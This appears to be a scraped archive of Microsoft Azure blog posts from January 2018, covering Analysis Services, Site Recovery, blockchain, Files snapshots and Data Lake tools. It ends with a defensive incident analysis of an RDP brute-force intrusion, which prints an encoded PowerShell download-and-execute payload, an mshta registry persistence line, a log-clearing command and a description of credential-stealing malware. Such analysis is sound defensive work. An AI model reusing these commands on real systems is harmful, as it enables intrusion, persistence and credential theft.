Wednesday, 17 January 2018

Azure Analysis Services new modeling and tooling features

Following the announcement a few weeks ago that 1400 models are now in Azure Analysis Services, we haven’t stopped there! We are pleased to announce the following further features for 1400 models in Azure.

◈ Shared M expressions are shown in the SSDT Tabular Model Explorer, and can be maintained using the Query Editor.
◈ Data Management View (DMV) improvements.
◈ Opening an file with the .MSDAX extension in SSDT enables DAX non-model related IntelliSense.

Shared M expressions


Shared M expressions are shown in the Tabular Model Explorer! By right clicking the Expressions node, you can edit the expressions in the Query Editor. This should seem familiar to Power BI Desktop users.

Azure Analysis Services, Azure Guides, Azure Tutorials and Materials, Azure Learning

DMV improvements

DMVs expose information about server operations and server health, settings and model structure. They are used for server monitoring, model documentation and various other reasons.

DISCOVER_CALC_DEPENDENCY

M expression dependencies are included in DISCOVER_CALC_DEPENDENCY. The following query returns the output shown below. M expressions and structured data sources are included for 1400 models.

SELECT * FROM $System.DISCOVER_CALC_DEPENDENCY

WHERE OBJECT_TYPE = 'PARTITION' OR OBJECT_TYPE = 'M_EXPRESSION';

Azure Analysis Services, Azure Guides, Azure Tutorials and Materials, Azure Learning

The output represents the same information that is shown by the Query Dependencies visual, which is now available in SSDT from the Query Editor. This visual should seem familiar to Power BI Desktop users.

Azure Analysis Services, Azure Guides, Azure Tutorials and Materials, Azure Learning

MDSCHEMA_MEASUREGROUP_DIMENSIONS

This release provides a fix for MDSCHEMA_MEASUREGROUP_DIMENSIONS. This DMV is used by various client tools to show measure dimensionality. For example, the Explore feature in Excel Pivot Tables allows the user to cross-drill to dimensions related to the selected measures.

Azure Analysis Services, Azure Guides, Azure Tutorials and Materials, Azure Learning

Prior to this release, some rows were missing in the output for 1200 models, which meant the Explore feature did not work correctly. This is now fixed for 1200 and 1400 models.

DAX file editing

Opening a file with the .MSDAX extension allows DAX editing with non-model related IntelliSense such as highlighting, statement completion and parameter info. As you can imagine, we intend to use this for interesting features to be released in the future!

Azure Analysis Services, Azure Guides, Azure Tutorials and Materials, Azure Learning

Saturday, 13 January 2018

1400 compatibility level in Azure Analysis Services

We are excited to announce the public preview of the 1400 compatibility level for tabular models in Azure Analysis Services! This brings a host of new connectivity and modeling features for comprehensive, enterprise-scale analytic solutions delivering actionable insights. The 1400 compatibility level will also be available in SQL Server 2017 Analysis Services, ensuring a symmetric modeling capability across on-premises and the cloud.

Here are just some highlights of the new features available to 1400 models.
  • New infrastructure for data connectivity and ingestion into tabular models with support for TOM APIs and TMSL scripting. This enables:
    • Support for additional data sources, such as Azure Blob storage.
    • Data transformation and data mashup capabilities.
  • Support for BI tools such as Microsoft Excel enable drill-down to detailed data from an aggregated report. For example, when end-users view total sales for a region and month, they can view the associated order details.
  • Object-level security to secure table and column names in addition to the data within them.
  • Enhanced support for ragged hierarchies such as organizational charts and chart of accounts.
  • Various other improvements for performance, monitoring and consistency with the Power BI modeling experience.
In SSDT, you can select the new 1400 compatibility level when creating new tabular model projects. Alternatively, you can upgrade an existing tabular model by selecting the Model.bim file in Solution Explorer and setting the Compatibility Level to 1400 in the Properties window. Models at the 1400 compatibility level cannot be downgraded to lower compatibility levels.

Microsoft Guides, Microsoft Tutorials and Materials, Azure Tutorials and Materials

New Infrastructure for Data Connectivity


1400 models introduce a new infrastructure for data connectivity and ingestion into tabular models with support for TOM APIs and TMSL scripting. This is based on similar functionality in Power BI Desktop and Microsoft Excel 2016. At this point, only the following cloud-based data sources are supported with the 1400 compatibility level in Azure Analysis Services. We intend to add support for more data sources soon.

◈ Azure SQL Data Warehouse
◈ Azure SQL Database
◈ Azure Blog Storage

Detail Rows


A much-requested feature for tabular models is the ability to define a custom row set contributing to a measure value. Multidimensional models achieve this by using drillthrough and rowset actions. This allows end-users to view information in more detail than the aggregated level.

For example, the following PivotTable shows Internet Total Sales by year from the Adventure Works sample tabular model. Users can right-click the cell for 2010 and then select the Show Details menu option to view the detail rows.

Microsoft Guides, Microsoft Tutorials and Materials, Azure Tutorials and Materials

By default, all the columns in the Internet Sales table are displayed. This behavior is often not meaningful for the user because too many columns may be shown, and the table may not have the necessary columns to show useful information such as customer name and order information.

Detail Rows Expression Property for Measures

1400 models introduce the Detail Rows Expression property for measures. It allows the modeler to customize the columns and rows returned to the end user. The following example uses the DAX Editor in SSDT to define the columns to be returned for the Internet Total Sales measure.

Microsoft Guides, Microsoft Tutorials and Materials, Azure Tutorials and Materials

With the property defined and the model deployed, the custom row set is returned when the user selects Show Details. It automatically honors the filter context of the cell that was selected. In this example, only the rows for 2010 value are displayed.

Microsoft Guides, Microsoft Tutorials and Materials, Azure Tutorials and Materials

Object-Level Security


Roles in tabular models already support a granular list of permissions, and row-level filters to help protect sensitive data.

1400 models introduce table- and column-level security allowing sensitive table and column names to be protected in addition to the data within them. Collectively these features are referred to as object-level security (OLS).

The current version requires that OLS is set using the JSON-based metadata, Tabular Model Scripting Language (TMSL), or Tabular Object Model (TOM). We plan to deliver SSDT support soon. The following snippet of JSON-based metadata from the Model.bim file secures the Base Rate column in the Employee table of the Adventure Works sample tabular model by setting the MetadataPermission property of the ColumnPermission class to None.

"roles": [

  {

    "name": "General Users",

    "description": "All allowed users to query the model",

    "modelPermission": "read",

    "tablePermissions": [

      {

        "name": "Employee",

        "columnPermissions": [

           {

              "name": "Base Rate",

              "metadataPermission": "none"

           }

        ]

      }

    ]

  }

Unauthorized users cannot access the Base Rate column using client tools like Power BI and Excel Pivot Tables. Additionally, such users cannot query the Base Rate column using DAX or MDX, or measures that refer to it.

Ragged Hierarchies


Tabular models with previous compatibility levels can be used to model parent-child hierarchies. Hierarchies with a differing number of levels are referred to as ragged hierarchies. An example of a ragged hierarchy is an organizational chart. By default, ragged hierarchies are displayed with blanks for levels below the lowest child. This can look untidy to users, as shown by this organizational chart in Adventure Works:

Microsoft Guides, Microsoft Tutorials and Materials, Azure Tutorials and Materials

1400 models introduce the Hide Members property to correct this. Simply set the Hide Members property to Hide blank members.

Microsoft Guides, Microsoft Tutorials and Materials, Azure Tutorials and Materials

With the property set and the model deployed, the more presentable version of the hierarchy is displayed.

Microsoft Guides, Microsoft Tutorials and Materials, Azure Tutorials and Materials

Other Features


Various other features such as the following are also introduced with the 1400 compatibility level. For more information, please refer to the Analysis Services Team blog for what's new in SQL Server 2017 CTP 2.0 and SQL Server vNext on Windows CTP 1.1 for Analysis Services.

◈ Transaction-performance improvements for a more responsive developer experience.
◈ Dynamic Management View improvements enabling dependency analysis and reporting.
◈ Hierarchy and column reuse to be surfaced in more helpful locations in the Power BI field list.
◈ Date relationships to easily create relationships to date dimensions based on date columns.
◈ DAX enhancements to make DAX more accessible and powerful. These include the IN operator and table/row constructors.

Friday, 12 January 2018

Azure Site Recovery now supports Ubuntu

Azure Site Recovery makes business continuity accessible for all your IT applications by letting you use Azure as your recovery site. This offers a solution where you only pay for the resources you consume, alleviating the need to spend on upfront capital investments for a recovery location or resources.

We recognize our customer’s need to have flexibility in the choice of platforms and application stacks they use. That is why Azure Site Recovery supports a wide variety of platforms and operating systems. We’ve now added support for another very popular Linux distribution. Azure Site Recovery now supports disaster recovery and migration to Azure for servers running Ubuntu on Azure virtual machines or in a VMware virtualized environment. Azure Site Recovery currently supports disaster recovery and migration to Azure for applications on Ubuntu Server 14.04 LTS.

Let’s see how easy it is to achieve business continuity objectives for your Ubuntu workloads in the context of the fictional Bellows College.

A business continuity plan for Bellows College


Bellows College’s Moodle learning management system(LMS) is configured in a standard two-tier deployment, with a web server and a MySQL database running on VMware virtual machines running Ubuntu server 14.04 LTS.

Microsoft Tutorials and Materials, Microsoft Certifications, Microsoft Guides, Microsoft Learning

Last year, a faulty surge protector in their datacenter caused an outage to their learning management system. Bellows College’s application and infrastructure administrators scampered to bring the system back up on an alternate storage unit by restoring data from their database backup. This experience taught them a costly lesson and left them with the realization that periodic backups are not a replacement for a business continuity plan.

Realizing they needed a reliable business continuity plan, Bellows College’s CIO decided to use Azure Site Recovery. Going to Azure was an easy choice for them, as they were already planning on migrating some of their applications to Azure to consolidate their datacenter costs.

With a few simple steps, Bellows College setup Azure Site Recovery and got their learning management system protected to Azure.

Microsoft Tutorials and Materials, Microsoft Certifications, Microsoft Guides, Microsoft Learning

Bellows College built a recovery plan to sequence the order in which the various application tiers are brought up during a failover. For example, they specified that the database tier would be brought up before the web tier so that the web server could start serving requests immediately post failover. Within the recovery plan, Bellows College used Azure Automation runbooks to automate some of the common post-failover steps, like assigning an IP address to the failed over web server. By using automation, they were able to achieve a better RTO by avoiding the need to perform this step manually.

Microsoft Tutorials and Materials, Microsoft Certifications, Microsoft Guides, Microsoft Learning

With their Moodle servers protected and the recovery plan setup, it was time to test their recovery plan. They did this using the test failover feature of ASR that lets them test failing over their applications without impacting production workloads or end users.

Microsoft Tutorials and Materials, Microsoft Certifications, Microsoft Guides, Microsoft Learning

The test failover brought the application up in a test network in Azure with all the latest changes, and let them connect to the application in the test environment and validate that the application was working in a few minutes.

Microsoft Tutorials and Materials, Microsoft Certifications, Microsoft Guides, Microsoft Learning

Being able to test the failover of the application to Azure without impacting production gave Bellows College the confidence that their business continuity plan gives them the necessary protection from unplanned events.

Having experienced how simple and cost-effective it is to use Azure Site Recovery to achieve business continuity, Bellows College is now planning to onboard some of their other supporting applications running on Ubuntu.

Azure Site Recovery is an all-encompassing service for your migration and disaster recovery needs. Our mission is to democratize disaster recovery with the power of Microsoft Azure so that you have a disaster recovery plan that covers all of you organization's IT applications.

Wednesday, 10 January 2018

Accelerating the adoption of enterprise blockchain

We have had the pleasure of working with several customers on their business initiatives related to blockchain's technology. During this time, we have been helping them to envision business scenarios, choose the right blockchain protocols and distributed ledgers, and most importantly, develop pilots focused on validating the technology capabilities to provide real value to their organizations.

When to use blockchain?


From the technical perspective, we could apply blockchain to many scenarios. However, not every situation requires blockchain, but there are some scenarios where it creates significant value compared to alternative technologies. Usually, these are shared business processes, with the organization in different industries such as financial services, manufacturing, or retail.

The recommendation to recognize blockchain scenarios is to make sure you are using the core capabilities of blockchain. You should respond positively to four key questions (see below), and there should be a real business case with measurable outcomes. If this is not the case, please consider using other more mature technologies.

Blockchain capabilities

The blockchain is one of the top emerging technologies revolutionizing today’s business models. Fundamentally, blockchain enables participants to exchange value without the need for intermediaries.

Microsoft Tutorials and Materials, Microsoft Guides, Microsoft Certifications

But what is blockchain exactly? And what capabilities make it so attractive for enterprises? The blockchain is a disruptive technology trend that enables a shared, authentic, decentralized ledger:

◈ SECURE: Blockchain uses strong cryptography to create transactions that are impervious to fraud and establishes a shared truth. Also, all the transactions are signed with the digital certificate.
◈ SHARED: The real benefits of blockchain, over conventional technology, are achieved when we use it to link organizations to share information on a distributed ledger.
◈ DISTRIBUTED: A blockchain can be distributed across multiple organizations and becomes more secure as replicas are added.
◈ LEDGER: Every transaction is written into the ledger once and cannot be changed after the fact.

Questions to be answered before developing a blockchain solution


Answering the following four questions can determine if blockchain is appropriate for the identified business scenario.

◈ Do multiple parties share data?
◈ Do multiple parties update data?
◈ Is there a requirement for verification?
◈ Can intermediaries be removed and reduce cost and complexity?

If you answered yes to all of these questions, then you have a potential scenario to apply blockchain.

Public blockchain vs. enterprise blockchain


A public blockchain (i.e., Bitcoin or Ethereum) is an Internet protocol managing the distribution of potential unique data with the following characteristics:

◈ Many, anonymous, or pseudonymous participants
◈ Open read and write by all participants
◈ Consensus by proof of work

Too often organizations fail with blockchain because they try to use public blockchain networks, or their rules, for their enterprise solutions. Instead, the organization should consider the use of Enterprise Blockchain.

What do we mean with enterprise blockchain? An enterprise blockchain (i.e., Hyperlegder, Ethereum Enterprise, Ripple, Quorum, etc.) is a distributed ledger with the following characteristics:

◈ All the participants, and their digital identities, are known from one or many trusted organizations
◈ Writes and read permissions are roles-based and usually requires consensus of several participants
◈ Multiple algorithms are used for consensus

You should know that we have two types of enterprise blockchain:

◈ Private: Usually managed by a single organization. Typically, the network participants are internal business units or divisions. 
◈ Consortium: In this case, the blockchain network is managed by multiple trusted organizations. New participants require a consensus of several participants.

Industries using blockchain


The potential impact of blockchain is significant across all sectors and industries—from banking to government to healthcare and beyond:

◈ Eliminates intermediaries increasing efficiency and speed.
◈ Simplifies operations by reducing cost and time related to reconciliations and disputes.
◈ Potentially enables new business models increasing revenue and savings.

According to top market analysts and leading consulting firms, the top five industries that blockchain will likely disrupt by 2020 are financial services, government, real estate, supply chain management, and media distribution.

Reviewing our historical data, we also see that close to 80% of the customers using blockchain in Microsoft Azure are also financial services institutions, including insurance companies. However, as you can see in the following figure, the trend is changing if we just consider the existing engagement and pipeline.

Microsoft Tutorials and Materials, Microsoft Guides, Microsoft Certifications

On the other hand, double checking the solutions related to banking & capital markets, we had discovered that 60% of the blockchain implementations involved at least one participant from a second industry such as manufacturing, government, or retail. 

Common business patterns 


Just in the last 12 months, we were able to count 76 scenarios across seven industries. The good news is that based on our engagements with customers and partners, we also were able to reduce them in the following eight business patterns.

Microsoft Tutorials and Materials, Microsoft Guides, Microsoft Certifications

By exploring business patterns, our customers can now learn how blockchain can promote operational simplification, reduce the role of intermediaries, and potentially enable new business models. For each pattern, we provide an overview of our common needs and challenges, the potential benefits from applying blockchain, key near-term milestones for initial blockchain applications, and an use case sequence diagram. Using this approach is helping us to define reference architectures, and developing IP to reduce the time-to-market of blockchain solutions.

As an illustrated example, below I’m sharing current blockchain applications and some public references:

◈ Bank of America and Microsoft Treasury using Blockchain in a Trade Finance scenario to improve the process of issuing a Standby Letter of Credit to a customer (SBLC) to a customer. The process has been reduced from 3-5 weeks to just 3-5 days.
◈ Renault Group is working together with Microsoft and VISEO to create the first digital car maintenance book based on Blockchain and using Microsoft Azure capabilities.
◈ Large food manufacturers and distributors are using blockchain to track their premium products journey from source to consumption efficiently, and to have a shared ledger as the single source of truth.

Recommended engagement model


Based on our previous engagements, our experience delivering innovative projects and using our agile approach, we are now ready to help customers understand the potential impact of blockchain technology on their industries, as well as determine whether it is capable of delivering both cost efficiencies and competitive advantage for them.

Microsoft Services provides offers to help our customers have an improved understanding of blockchain, explore the potential of this technology through business scenarios and implement a Minimum Viable Product (MVP) based on Microsoft Azure.

Microsoft Tutorials and Materials, Microsoft Guides, Microsoft Certifications

Supported protocols


To finish, let us share our answer to the most frequently asked questions by our customers. Does Microsoft have its own blockchain ledger? The answer is NO.

Microsoft has been working on blockchain since November 2015 when we were the first major cloud provider to announce a Blockchain as a Service (BaaS). Our vision is to be the worldwide cloud platform leader powering the blockchain-based applications.

Microsoft is working with customers, partners, and the developer community to accelerate blockchain’s enterprise readiness. Our mission is to help companies thrive in this new era of secure multi-party collaboration by delivering open, scalable platforms and services that any company can use to improve shared business processes. Our roadmap is based on the following principles:

◈ Blockchain on your terms: No one-size-fits-all approach — Microsoft’s platform and ecosystem partners make it easy to get started and iterate quickly with the blockchain of your choice, both on-premises and in the cloud.

◈ Integrated with your business: Merge blockchain with the IT assets you already have. Azure lets you integrate blockchain with the cloud services your organization uses to power shared processes.

◈ Ready for the enterprise: With the Coco Framework, Cryptlets, and our Azure services integrations, Microsoft is addressing existing technology gaps with blockchain and helps organizations build durable enterprise-grade applications.

Our active participation in industry consortiums such as R3, Enterprise Ethereum Alliance, and IC3, also help us to understand core industry scenarios, and to continue learning to meet the needs of our customers.

Currently, Microsoft supports the most widely used blockchain and distributed ledger protocols on Azure, including HyperLedger Fabric, R3 Corda, Quorum, Chain Core, and BlockApps. 

Sunday, 7 January 2018

Announcing Azure Files share snapshots public preview

Azure Files offers fully managed cloud file shares, and extends the ability of organizations to share files across on-premises and the cloud. With support for industry standard SMB protocol, this service is truly cross-platform and can support mounting as file share from any client that implements SMB 3.0 with encryption. Some examples are Windows, Mac, and Linux. In addition to native mount, it exposes REST APIs for programmability. With Azure Files, organizations get the added benefit of a storage infrastructure that is highly secure, massively scalable, and globally available. Even with all of these capabilities, what would you do if a user or application accidentally deletes or corrupts files or folders that are stored in Azure Files share?

Today, we are very excited to introduce the public preview of Azure Files share snapshots. Azure Files share snapshots allows you to periodically store read-only versions of your file shares. It also allows you to copy an older version of your content from anywhere for further modification and use.

When a share snapshot is created, the contents of the file share and the share snapshot are exactly the same. However, only the incremental changes are written to the snapshot. This makes snapshot creation faster, space-efficient, and cost-effective.

On Windows, you can leverage the familiar Previous Versions functionality, as shown below in Figure 1, where sharesnapshotdefs is a mounted Azure file share and each entry in the Previous Versions tab is a share snapshot. You can browse the content of the snapshot, right there in your explorer, by selecting “Open” or by copying the contents of that share snapshot back to its original location by selecting “Restore”. The same Previous Versions experience is available for individual directories or files. This means that while snapshots are taken at the share level, data retrieval can be done at both the file share and individual directory/file level.

Azure Guides, Azure Tutorials and Materials, Azure Learning

Figure 1: Azure Files share snapshot experience on Windows – Integrated with “Previous Versions”

On Linux, you can use Azure CLI 2.0 for Azure Files, as shown below in Figure 2. All the same capabilities, including creation of snapshots, are available in Azure CLI 2.0.

Azure Guides, Azure Tutorials and Materials, Azure Learning

Figure 2: Azure Files share snapshot experience on Azure CLI – List Snapshots

In addition to Azure CLI 2.0, snapshots are fully supported by REST and client libraries such as .Net and Python programmatic access. Also, PowerShell support is coming soon. To quickly get started, you can go directly to the Azure Portal today and start creating snapshot.

Azure Guides, Azure Tutorials and Materials, Azure Learning

Figure 3: Azure Files share snapshot experience on Azure Portal

And what more - During our public preview, capacity consumed by snapshots will not be charged!

Azure Files share snapshots will be a key addition to your cloud storage management toolkit. To learn more about snapshots, please visit our documentation.

Friday, 5 January 2018

Azure Data Lake tools integrates with VSCode Data Lake Explorer and Azure Account

If you are a data scientist and want to explore the data and understand what is being saved and what the hierarchy of the folder is, please try Data Lake Explorer in VSCode ADL Tools. If you are a developer and look for easier navigation inside the ADLS, please use Data Lake Explorer in VSCode ADL Tools. The VSCode Data Lake Explorer enhances your Azure login experiences, empowers you to manage your ADLA metadata in a tree like hierarchical way and enables easier file exploration for ADLS resources under your Azure subscriptions. You can also preview, delete, download, and upload files through contextual menu. With the integration of VSCode explorer, you can choose your preferred way to manage your U-SQL databases and your ADLS storage accounts in addition to the existing ADLA and ADLS commands.

If you have difficulties to login to Azure and look for simpler sign in processes, the Azure Data Lake Tools integration with VSCode Azure account enables auto sign in and greatly enhance the integration with Azure experiences. If you are an Azure multi-tenant user, the integration with Azure account unblocks you and empowers you to navigate your Azure subscription resources across tenants.

If your source code is in GitHub, a new command ADL: Set Git Ignore has been added to auto exclude system generated files and folders from your GitHub source repository.

Key Customer Benefits


◉ Support Azure auto sign in and improve sign in experiences via integration with Azure Account extension.
◉ Enable multi-tenants support to allow you to manage your Azure subscription resources across tenants.
◉ Browse ADLA metadata and view metadata schema while performing U-SQL authoring.
◉ Create and delete your U-SQL database objects anytime in a tree like explorer.
◉ Navigate across ADLS storage accounts for file exploration, file preview, file download, file/folder delete, and file/folder upload in a tree like explorer.
◉ Exclude system generated files and folders from the GitHub repository through command.

Summary of new features


◉ Azure Data Lake Analytics integration with Data Lake Explorer

Microsoft Guides, Microsoft Tutorials and Materials, Microsoft Learning

◉ Azure Data Lake Storage integration with Data Lake Explorer 

Microsoft Guides, Microsoft Tutorials and Materials, Microsoft Learning

◉ Set Git Ignore file

Microsoft Guides, Microsoft Tutorials and Materials, Microsoft Learning

Microsoft Guides, Microsoft Tutorials and Materials, Microsoft Learning

How to install or update


Install Visual Studio Code and download Mono 4.2.x (for Linux and Mac). Then get the latest Azure Data Lake Tools by going to the VSCode Extension repository or the VSCode Marketplace and searching Azure Data Lake Tools.

Microsoft Guides, Microsoft Tutorials and Materials, Microsoft Learning

Wednesday, 3 January 2018

How Azure Security Center unveils suspicious PowerShell attack

In this post, we’ll walk through another interesting real-world attack scenario which was detected by Azure Security Center and investigated by our team. Names of the affected company, all computer names, and all usernames have been changed to protect privacy. This particular attack employed the use of PowerShell to run malicious code in-memory with the goal of collecting credential information through password stealing, keystroke logging, clipboard scraping, and screen captures. We’ll map out the stages of the compromise which began with an RDP Force attack and resulted in the setup and configuration of persistent auto-starts (ASEP) in the registry. This case study provides insights into the dynamics of the attack and recommendations on how to detect and prevent similar attacks in your environment.

Initial Azure Security Center alert and details


As long as remote administration of internet connected computers has been around, hackers have continued their efforts to discover remote admin services like Remote Desktop Protocol (RDP) running so that they can crack passwords through brute force attacks. Our case begins in a large customer’s Azure Security Center console where they were alerted to RDP brute force activity as well as suspicious PowerShell activity.

In the Azure Security Center screenshot below, you can track the chronological progression from bottom to top as “Failed RDP Brute Force Attack” alerts are followed by a single “Successful RDP Brute Force Attack” alert – an indication that someone logged on via RDP after having guessed a user password. This malicious Brute Force logon is subsequently followed by several alerts for unusual PowerShell activity.

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials

As we examine the initial Successful RDP Brute Force Attack alert, we see the time of the attack, the account that was compromised, the attacking IP address where the attempts originated from (Italy in our case), and a link to Microsoft’s Threat Intel “RDP Brute Forcing” report.

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials

After the successful logon, as we drill down to the subsequent High severity alerts, Azure Security Center chronologically reveals each command lines launched by the attacker once they successfully logged on:

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials

Initial compromise and details of attacker activity


Armed with the information provided by the alerts, our investigative team worked with the customer to examine Account logon logs (Event ID 4624) Process Creation logs (Event ID 4688) taken from the time the attacker initially logged on. From the earliest logon data, we see continual RDP brute force attempts using a variety of Username and Password combinations. Most of these failed attempts result in Event ID 4625 (An account failed to log on), with a Status code of 0xc000006d (The attempted logon is invalid), and a Substatus code of 0xc0000064 (The specified account does not exist).

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials

Around 10:13am on 09-06 we begin to see a change in the Substatus code. We now see the use of username “ContosoAdmin” resulting in a different status code: 0xc000006a (Wrong password). This is followed by successful type 3 logon and type 10 (Remote Interactive) logon using the account “ContosoAdmin”. The logon appears to originate from an IP address in Italy (188.125.100.233).

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials

Looking at Process Creation activity after the logon. The attacker first issues the “whoami” command, which displays who the current logged on user is. They then list the members of the “Domain Admins” group with the net group “Domain Admins” /domain command. This is followed by the “qwinsta” command which displays all Remote Desktop Services sessions. Taskmgr (Windows Task Manager) is then launched to view or manage Process and Services.

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials

About a minute later, another PowerShell command is executed. This command is obfuscated with Base64 encoded strings which are additionally wrapped in a Deflate compression algorithm.

Note: We’ll be digging further into what this command does as we decode the Base64 later in this blog.

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials

About 3 min later, the attacker logs off the machine. But before logging off, they attempt to clean up their tracks by clearing all event logs. This is done with the built-in wevtutil.exe (Windows Events Command Line Utility). First, all Event logs are enumerated with the “el” or “enum-logs” switch. Then all event logs are cleared with the “cl” or “clear-log” switch. Below is a portion of the event clearing commands launched by the attacker.

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials

A closer look at the Base64 encoded PowerShell command


Decoding the encoded Base64 portion from the attacker’s initial command, turns up yet more Base64 encoded commands which reveal:

◉ Nested Base64 obfuscation.
◉ All levels of the command executions are obfuscated.
◉ Created of a registry-only ASEP (Auto-Start Extensibility Point) as a persistence mechanism.
◉ Malicious code parameters stored in registry.
◉ Command execution occurs “in-memory” with no file or NTFS artifacts since the ASEP and the parameters are only in the System Registry.

Here’s the initial command issued by the attacker:

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials
Decoding the Base64 reveals registry entries and more Base64 strings to decode…

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials

Azure Security, Microsoft Guides, Microsoft Tutorial and Materials

Decoding these nested Base64 values, we determine that the command does the following:

◉ The command first stores parameter information for subsequent commands to read from in the registry location named “SeCert” under HKLM\Software\Microsoft\Windows\CurrentVersion.

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]
"SeCert"="dwBoAGkAbABlACgAMQApAHsAdAByAHkAewBJAEUAWAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALg
BEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBkAG0AcwBlAHIAdgBlAHIAcwAuAGMAbwBtAC8AJwArACgAWwBjAGgAYQBy
AF0AKAA4ADUALQAoAC0AMwA3ACkAKQApACkAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADAAfQB9AA=="

◉ The Base64 value in the above registry key decodes to a download command from a malicious C2 (Command and Control) domain (mdmservers[.]com).

while(1){try{IEX(New-Object Net.WebClient).DownloadString('hxxp[:]//mdmservers[.]com/'+([char](85-(-37))))}catch{Start-Sleep -s 10}}

◉ The attacker’s command then creates a persistence mechanism through a registry ASEP (Auto-start Extensibility Point) named ”SophosMSHTA“ under the “HKLM\Software\Microsoft\Windows\CurrentVersion\Run” key.

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SophosMSHTA"="mshta vbscript:CreateObject(\"Wscript.Shell\").Run(\"powershell.exe -c \"\"$x=$((gp HKLM:Software\\Microsoft\\Windows\\CurrentVersion SeCert).SeCert);powershell -E $x\"\"\",0,True)(window.close)"

◉ This registry persistence ensures that the malicious commands are launched every time the machine is started or restarted.
◉ The registry ASEP launches the Microsoft Scripting Engine (mshta.exe).
◉ Mshta.exe, in turn, runs PowerShell.exe which then reads and decodes the value of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion -> ”SeCert”.
◉ The registry values of SeCert tells PowerShell to download and launch a malicious script from 'hxxp[:]//mdmservers[.]com’.

Malicious code downloaded and executed


Once the attacker has setup the persistence mechanism and has logged off, the next restart of the host machine launches PowerShell to download and launch a malicious payload from 'hxxp[:]//mdmservers[.]com'. This malicious script contains various sections which perform specific functions. The table below details the main functions of the malicious payload.

Actions

Scrapes content from the clipboard and saves output to the following location:

%temp%\Applnsights_VisualStudio.txt

Captures all keystrokes to the following location:

%temp%\key.log

Takes initial screen capture and saves a .jpg to the following location:

%temp%\39F28DD9-0677-4EAC-91B8-2112B1515341\yyyymmdd_hhmmss.jpg

Takes subsequent screen captures when certain financial or account credential related key words are typed, and saves .jpg to the following location:

%temp%\39F28DD9-0677-4EAC-91B8-2112B1515341\yyyymmdd_hhmmss.jpg

Checks if Google Chrome browser is installed. If so, collects all passwords from Chrome cache and saves to the following location:

%temp%\Chrome.log

Checks if Mozilla Firefox browser is installed. If so, collects all passwords from Firefox cache and saves to the following location:

%temp%\Firefox.log

Putting it all together


So, let’s summarize what we’ve seen so far in this investigation:

1. Initial ingress occurs when admin account is compromised in a successful RDP Brute Force attack.
2. The attacker then executes a Base64 obfuscated PowerShell command that sets up a registry ASEP which launches at boot time.
3. The attacker then clears evidence of their activity by deleting all event logs with the command:  wevtutil.exe -cl <eventlogname>.
4. When the affected host is started or rebooted, it launches the malicious registry ASEP at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
5. The registry ASEP launches the Microsoft Scripting Engine (mshta.exe).
6. Mshta.exe, in turn, runs PowerShell.exe which then reads and decodes the value of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion -> ”SeCert”
7. The registry values of “SeCert” tell PowerShell to download and launch a malicious script from 'hxxp[:]//mdmservers[.]com’
8. The malicious code from hxxp[:]//mdmservers[.]com then does the following:

◉ Scrapes content from the clipboard to: %temp%\Applnsights_VisualStudio.txt
◉ Captures all keystrokes to: %temp%\key.log
◉ Takes initial screen capture and saves .jpg to: %temp%\39F28DD9-0677-4EAC-91B8-2112B1515341\yyyymmdd_hhmmss.jpg
◉ Takes subsequent screen captures when certain financial or account credential related key words are typed, and saves .jpg to the following location: %temp%\39F28DD9-0677-4EAC-91B8-2112B1515341\yyyymmdd_hhmmss.jpg
◉ Checks if Google Chrome browser is installed. If so, collect all passwords from Chrome cache and saves to: %temp%\Chrome.log
◉ Checks if Mozilla Firefox browser is installed. If so, collect all passwords from Firefox cache and saves to: %temp%\Firefox.log

The result of this attack is an information stealing malware which automatically launches from the registry, runs in memory, and collects keystrokes, browser passwords, clipboard data, and screenshots.

How Azure Security Center caught it all


It is evident that the attacker went through extraordinary means to conceal their activity; ensuring all process executions used built-in Windows executables (PowerShell.exe, Mshta.exe, Wevtutil.exe), using command parameters that were obfuscated and stored in the registry, and deleting all event logs to clear their tracks. This effort, however, did not prevent Azure Security Center from detecting, collecting, and reporting this malicious activity.

As we saw at the beginning of this blog, Azure Security Center detected all stages of this attack, providing details of the initial RDP Brute Force attack and revealing all commands at various stages issued by the attacker. You’ll also notice in the Alerts, that all obfuscated commandlines were deciphered, decoded, and presented in clear text at each stage of the attack. This valuable and time saving information helps security response investigators and system administrators answer questions like “What happened?”, “When did this happen?”, “How did they get in?”, “What did they do when they got in?”, and “Where’d they come from?”.  Additionally, investigators can also determine if other hosts in their organization may have been compromised through lateral movement from this compromised host. Seeing the bigger picture of this attack can also help to answer motive questions like “what were they after?” In our case, primary purpose appears to be credential stealing with the goal of financial or intellectual gain.

In all of our investigations, Azure Security Center played a pivotal role in helping to determine critical details such as initial ingress/compromise vector, source of attack, possible lateral movement, and scope of the attack. Security Center also details artifacts that can be lost over time due to filesystem overwrites or log retention/storage limitations. Azure Security Center’s ability to ingest, store, analyze, and decipher data from various sources using the latest machine learning and big data analytics, make it invaluable to security analysts, incident responders, and forensic professionals alike.

Recommended remediation and mitigation steps


